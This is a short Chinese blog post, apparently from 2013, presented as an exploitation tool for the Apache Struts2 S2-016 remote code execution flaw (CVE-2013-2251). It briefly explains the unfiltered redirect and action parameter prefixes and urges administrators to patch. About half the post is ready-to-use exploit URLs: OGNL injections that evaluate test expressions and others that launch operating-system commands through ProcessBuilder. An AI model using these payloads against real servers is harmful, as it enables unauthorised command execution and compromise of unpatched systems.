Struts2 远程执行代码(S2-016) 利用工具
Struts2 远程执行代码(S2-016) 利用工具
7·17中午刚刚午睡醒来就看到几个熟悉字眼——Struts2,远程执行代码。施特!难道继上回标签后又新曝一个?本来还没睡醒的一下子清醒了。一看果断,紧接着某云就被刷屏了~~~一场腥风血雨画面即将上演。。。
据报道,受影响版本是2.0.0-2.3.15,CVE编号:CVE-2013-2251。原因是因为参数action的值redirect以及redirectAction没有正确过滤,导致允许攻击者在访问使用Struts2的应用时远程执行OGNL表达式
漏洞证明:
http://host/struts2-blank/example/X.action?action:%25{3*4}
http://host/struts2-blank/example/X.action?redirect:%25{3*4}
http://host/struts2-blank/example/X.action?redirectAction:%25{3*4}
代码测试:
http://host/struts2-blank/example/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}
http://host/struts2-showcase/employee/save.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}
http://host/struts2-showcase/employee/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}
官方已经更新补丁,管理员们速度打上,不然裤子被脱了还不知道。
URL:http://struts.apache.org/download.cgi#struts23151
下面show下python写的利用工具【图】
用GOOGLE一搜差点没吓尿,再次强烈建议管理今晚加班都要把这修补了!!!
Apache Struts多个前缀参数远程命令执行漏洞(CVE-2013-2251)
Apache Struts 多个开放重定向漏洞(CVE-2013-2248)
Struts2再爆远程代码执行漏洞(S2-016)
评论暂时关闭